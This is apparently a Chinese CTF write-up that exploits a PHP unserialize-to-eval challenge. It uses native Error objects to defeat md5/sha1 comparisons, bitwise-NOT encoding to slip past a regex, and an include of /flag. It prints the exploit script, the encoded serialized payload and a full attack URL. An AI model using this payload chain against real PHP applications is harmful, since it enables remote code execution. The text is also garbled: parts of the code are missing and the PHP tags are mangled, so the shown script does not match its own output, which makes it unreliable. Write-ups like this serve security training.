知识点: 1. PHP原生类在CTF中的利用
2. =?> <=> 以及 ?> <=> 的变形
3. 正则表达式的取反绕过
进入页面又是熟悉的php的代码审计.
syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
话不多说,开始审计,上半部分定义了一个 SYCLOVER 的类,存在 2 个属性syc和lover,同时还定义了一个wake方法将这2个属性进行强类型比较,和正则匹配,并且syc会传入eval函数,下半部分就是传入一个great的参数,对这个参数进行反序列化,所以我们目标就明确了,我们需要绕过这个强类型比较,之后在绕过正则表达,最后执行寻找flag的命令.
那么我们继续分析:
首先,这个强类型比较绕过是可以通过数组的方式绕过的,但是考虑到我们下面的eval函数不能传入数组,因为我们还要构造寻找flag的payload呢.
所以,我们可以通过PHP的原生类来进行绕过(Error 或者 Exception),这两个类中呢存在一个_toString()的方法属性,意思就是当这两个类的对面需要被转换成字符串的时候就会调用 _toString()
这个方法将对象转换成字符串,而在强类型比较是md5()以及sha1()会将对象转化为字符串从而调用_toString(),我们来做一个小小的实验.
知识点:
在 PHP 的 Exception 类中,构造函数实际上可以接收三个参数,尽管在大多数情况下,只使用前两个参数就足够了。这三个参数分别是:
消息(message):这是一个字符串,用于描述异常的具体原因或情况。它是构造函数的第一个参数,也是必须提供的参数。
代码(code):这是一个整数,用于提供异常的特定代码。它是可选的,但在某些情况下,它可能有助于识别或分类异常。如果没有提供,它默认为 0。
前一个异常(previous):这是一个 Exception 对象,用于表示当前异常之前发生的异常。这是可选的,但在处理异常的链式传递时非常有用。如果提供了这个参数,那么当前的异常就被视为前一个异常的“子异常”或“后继异常”。
而当该对象作为字符串输出是之后输出消息以及错误代码的行数 ( 重点 )
结果:
Exception: payload in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2
Stack trace:
#0 {main}
Exception: payload in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2
Stack trace:
#0 {main}
所以我们可以通过上面的特性来绕过强类型比较.
之后来构造payload来实现获取flag 注意:上面实现的payload我们可以自己控制
所以我们可以通过 include "/flag" 命令来去把flag值显示在页面上,同时为了绕过正则表达的双引号我们可以通过取反来绕过,那么服务器拿到的效果就是:Exception: include "/flag" in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2 Stack trace: ,有点乱很抽象所以我们需要闭合 <=> =?>来绕过.
所以开始构造exp
syc = $b;
$this->lover = $c;
}
}
$in = ~("/flag");
$payload = "?>=include~".$in."?>";
$b = new error($payload,1);$c=new error($payload,2);
$a = new SYCLOVER($b,$c);
echo(urlencode(serialize($a)));
?>
运行地址:
线上PHP运行环境
执行结果:
O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
效果就成了 : Exception: ?>=include "/flag"?> in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2 Stack trace:
解释一下就是: 会被执行从而获取到flag的value了,而后面多余的报错会被当成文本内容输出,并且会多一个 “1” ,这个 “1” 是include包含成功返回给echo的.
那么开始注入:
http://bfacc4a6-96f6-46d0-8007-ccff7ec494c7.node5.buuoj.cn:81/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
得到flag游戏结束.
参考文献:PHP原生类